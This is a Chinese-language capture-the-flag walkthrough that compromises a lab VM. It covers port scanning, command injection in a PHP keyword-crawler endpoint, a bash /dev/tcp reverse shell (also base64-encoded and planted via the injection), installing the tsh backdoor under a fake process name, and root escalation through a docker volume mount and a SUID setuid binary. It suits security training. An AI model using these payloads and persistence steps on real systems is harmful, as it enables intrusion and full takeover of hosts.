一、Recon
nmap
筆者使用 Virtual Box 設定此 VM 為 NAT Network,預設會在 10.10.10.0/24 的網段,使用 nmap 找一下目標 IP 與有開放的 Port:
$ nmap -sT 10.10.10.0/24
掃 port 的選項,使用 -sT
,常見的選項有以下:
- sT:最基本的 TCP 三方交握完成才算確定 port 有開 [1]
- Pn:適合用在有防火牆境況下,主機的 port 可能不會回應 ping 的訊息,但其實是有開的,譬如 VM 使用 Host-Only Network 的時候,使用 sT 是找不到的 windows host 的 port ,但其實因為防火牆問題,改用 Pn 就可以掃到
- vv:顯示詳細的訊息
由 namp 結果可以知道 10.10.10.6
是目標主機,開了主要的 21, 22, 80, 8000 port,一個個來檢查看看
WEB 80 Port
$ curl 'http://10.10.10.6' | html2text | less
嗯嗯,看起來公事中。
WEB 8000 Port
$ curl 'http://10.10.10.6:8000' | html2text | less
嗯嗯,這個也在公事中。
3. FTP 22 Port
$ ftp 10.10.10.6
如果沒有密碼的話,可以使用 anonymous
帳號,看看訪客是否可登入
Name (10.10.10.6:awon): anonymous
password: no
如果登入後下指令遇到以下 bind 的問題:
ftp> ls
500 Illegal PORT command.
ftp: bind: Address already in use
可以 FTP 連線時加上 -p
使用 passive 被動模式試試看,FTP 的連線分為主動式與被動式,一般來說都是主動式連線,可能是因為當時筆者 Client 端防火牆的問題,導致需要被動模式,而被動式是由 Client 端向 Server 端發起連線,FTP Server 預設會隨機個 Port 建立被動式連線,所以也會影響 Server 端的防火牆唷~ [2]
好,FTP 上可以看到唯一的檔案是 Note,載下來看一下內容
猜測大概是他會把 Web Server 虛擬化,放到 Docker Container,權限設定要注意等,但是這些比對 Web Port 看起來都還沒完成。
Dirb
$ dirb 'http://10.10.10.6'
$ dirb 'http://10.10.10.6:8000'
既然是 php 網站的話,可以針對 .php
結尾的網址嘗試,順便下了 txt
、 py
的副檔名檢查看看
dirb 'http://10.10.10.6' -X .php,.txt,.py
dirb 'http://10.10.10.6:8000' -X .php,.txt,.py
掃過之後,我們可以看得出以下兩個站的狀況:
- 80 port 看起來有 wordpress
- 8000 port 有
.bashrc
、.bash_history
、keywords.py
、test.php
二、Exploiting
看來可以先從 8000 port 的站來找漏洞,檢查一下這四個檔案:
- bash 相關的設定檔沒有甚麼可利用的地方
- test.php 看起來是需要輸入網址的 API
$ curl -vvv 'http://10.10.10.6:8000/test.php' -w "\n"
#=> w option 是希望在 output 最尾端加上 \n,才不會跟下一列 input 擠在一起
3. keywords.py
直接顯示檔案原始碼,載回來看一下
從 main 進入點來看,猜測應該是一隻爬蟲程式,輸入 query 參數,就會爬對應的 html
parser = argparse.ArgumentParser()parser.add_argument("--query", help="Site to crawl for keywords.", type=str)args = parser.parse_args()url = args.query
猜測整個站的流程應該是:
- 訪問 test.php,傳入目標網址
- test.php 執行 keywords.py,將目標網址帶給爬蟲程式,分析關鍵字
- keywords.py 回傳結果,直接輸出在網頁上
那就來試試看 test.php 吧!
帶上範例說明的網址:
curl -vvv -X POST 'http://10.10.10.6:8000/test.php' -w "\n" --data-urlencode 'query=https://caffeinatedengineers.com'
API 有正常執行,那 php 通常要如何去執行程式,最簡單的是使用 exec("your_command")
來達成,所以猜想也許是有 Command Injection
的問題,加個分號檢查看看:
curl -vvv -X POST 'http://10.10.10.6:8000/test.php' -w "\n" --data-urlencode 'query=https://caffeinatedengineers.com;ls'
哦哦出現了!很棒!看起來甚麼字串都沒有過濾,來看一下 API原始碼:
curl -vvv -X POST 'http://10.10.10.6:8000/test.php' -w "\n" --data-urlencode 'query=;cat test.php'
此 Command Injection 不是使用 exec()
,而是使用 passthru()
[3],執行指令並把 stdout 完整輸出。
確定漏洞限制後(剛好其實沒什麼限制)接著要來拿 Reverse shell 。
三、Post Exploitation
接下來要製造一個 Shell,連到自己機器上更易於操作,基本上流程就是開啟 socket 連線,開好對應的 port,讓受害主機連上或自行連上受害主機,筆者嘗試了兩種做法:
- 使用
nc
接收 socket 連線 - 使用
tsh
(tiny shell) [4]
比較推薦使用 tsh ,除了加密連線外,可以設定從內部主動連線出來並設定 retry,譬如有防火牆 rule 有限定 in 的規則,就可以試試看,更詳細的設定可以參考此篇文章[5],筆者會先使用 nc 取得 Reverse shell,再將 tsh 放入主機中。
用 socket 連線到目標的方式有很多種,可以參考此篇 cheatsheet[6],如果可以用 python、php、perl 等其他語言也是可以的,以下使用 bash 指令建立,並指定預設要連上的 ip 與 port
bash -i >& /dev/tcp/10.10.10.5/9870 0>&1
題外話:既然接收端也使用 nc ,為甚麼不直接使用 nc 連線到自己的 shell 呢?像是這樣:
nc -v 10.10.10.6 9870 -e /bin/bash
原因是不是每個 nc 的發行版本都有 e option,大多數是沒有的。
接著把剛剛的 bash 指令寫成 shellscript 並丟到主機中
bash 指令經過 base64 編碼,而這是為了避免 shell 跳脫字元與 WAF 的問題,寫檔時,再將 base64 string decode 後,將內容輸出至 test2.sh 中。
$ echo 'bash -i >& /dev/tcp/10.10.10.5/9870 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC41Lzk4NzAgMD4mMQo=$ curl -X POST 'http://10.10.10.6:8000/test.php' -w "\n" --data-urlencode 'query=;echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC41Lzk4NzAgMD4mMQo=" | base64 -d > test2.sh;cat test2.sh'
確定 shell script 內容沒問題後,就嘗試來連連看吧!
控制方先開啟自己的 port 並 listen 等待:
$ nc -lvp 9870
listening on [any] 9870 ...
目標主機上則是使用 bash 執行剛剛的 shell script 檔
curl 'http://10.10.10.6:8000/shell.php?a=/bin/bash test.sh'
太好了~控制方就連上囉!
再來將 tsh clone 下來,編輯 tsh.h
檔案中的 secret
,註解特定設定自動反連的機制,因為筆者沒用到,但如果連不到目標 IP,需要從內部直連外部IP,就可以使用
#ifndef _TSH_H#define _TSH_Hchar *secret = "secret";#define SERVER_PORT 7788#define FAKE_PROC_NAME "/bin/bash"//#define CONNECT_BACK_HOST "10.10.10.5"//#define CONNECT_BACK_DELAY 30#define GET_FILE 1#define PUT_FILE 2#define RUNSHELL 3#endif /* tsh.h */
接著編譯專案,產生出兩個主要檔案:
- tshd:受害目標使用的連線 binary
- tsh: client 連線的 binary
編譯好後,把 tshd 傳到受害目標主機上,可以在目標主機上使用 wget 抓檔案或是使用 nc 傳送檔案,以下使用 nc 把 tshd
傳上去,中斷結束後,檢查一下檔案大小是否正確
現在要在目標主機上跑 tshd ,不過一開始這個檔案是沒有執行權限的,給他一個權限跑起來!!動起來!!
題外話:一直要加上 /bin
很煩的話,可以改個 PATH 變數,這樣就不用多打字了
PATH=/bin:/usr/bin:$PATH
看起來有 bash shell 在背景執行了~
控制端連線成功
$ ./tsh 10.10.10.6
取得 reverse shell 後,來慢慢逛系統囉!
四、Privilege Escalation
關於提權的部分,檢查的方向如下:
- 先從有沒有可以提權的檔案或指令
- 可否製造出提權的檔案
- 最後不得已才是用 os exploit,萬一用不好,系統炸掉太明顯了 QQ
檢查目前的身分權限與群組
$ id
$ sudo -l
確定 docker 可以用,另外尋找有 SUID 的檔案[7],此種檔案可以在執行時使用 ROOT 權限,檢查是否有合適能拿來利用提權的檔案。
$ find / -perm -u=s 2>/dev/null
嗯...看起來沒什麼可以用的,那就利用 docker 來自己寫個提權檔案吧!
在 tmp 資料夾,建立一個提權的 c program,並編譯後執行看看沒問題就可以到下一步了:
$ cat <<"EOF" > p.c
#include<stdio.h>
#include<sys/types.h>int main(void) {
setuid(0);
seteuid(0);
system("/bin/bash");
return 0;
}
EOF$ gcc p.c -o rs
$ ./rs
會先做也是因為這個 docker image 內並沒有 gcc,所以要在 host 先編譯好,再去啟動docker container。
看一下目前主機上有哪些 docker image 或 container:
已經有現成的 ubuntu image了,這樣也不需要 pull 新的 image
docker run -it -v /tmp/vic:/tmp ubuntu:14.04 bash
啟動一個 ubuntu 的 container,並且將 host 的 tmp/vic 資料夾掛載到 container 的 tmp 資料夾,加上 it 代表使用 bash 進去 container,預設進去都是 root 身分的權限
確認掛載的資料夾有剛剛編譯好的檔案:
提權的最後一哩路,來吧!!將檔案擁有者設定為 root 且別人有 set uid 的權限
$ chown root:root rs
$ chmod +s rs
在 host 看到的檔案狀態:
執行 rs binary 後:
ROOT 就拿到啦!
另外還有不同的提權方法:
- 覆寫
/etc/crontab
,指定 root 帳號執行想要的指令 - 覆寫 root 的
.ssh/authorized_keys
,將自己的 public key 加進去
echo "ssh-rsa $public_key $public_key_name" >>> $HOME/.ssh/authorized_keys
參考
- [1] https://nmap.org/book/scan-methods-connect-scan.html
- [2] http://linux.vbird.org/linux_server/0410vsftpd.php#theory_pasv
- [3] https://www.php.net/manual/en/function.passthru.php
- [4] https://github.com/orangetw/tsh
- [5] https://www.freebuf.com/sectool/138350.html
- [6] https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/
- [7] http://linux.vbird.org/linux_basic/0220filemanager.php#suid_sgid_sbit
- [8] https://www.hackingarticles.in/mumbai1-vulnhub-walkthrough/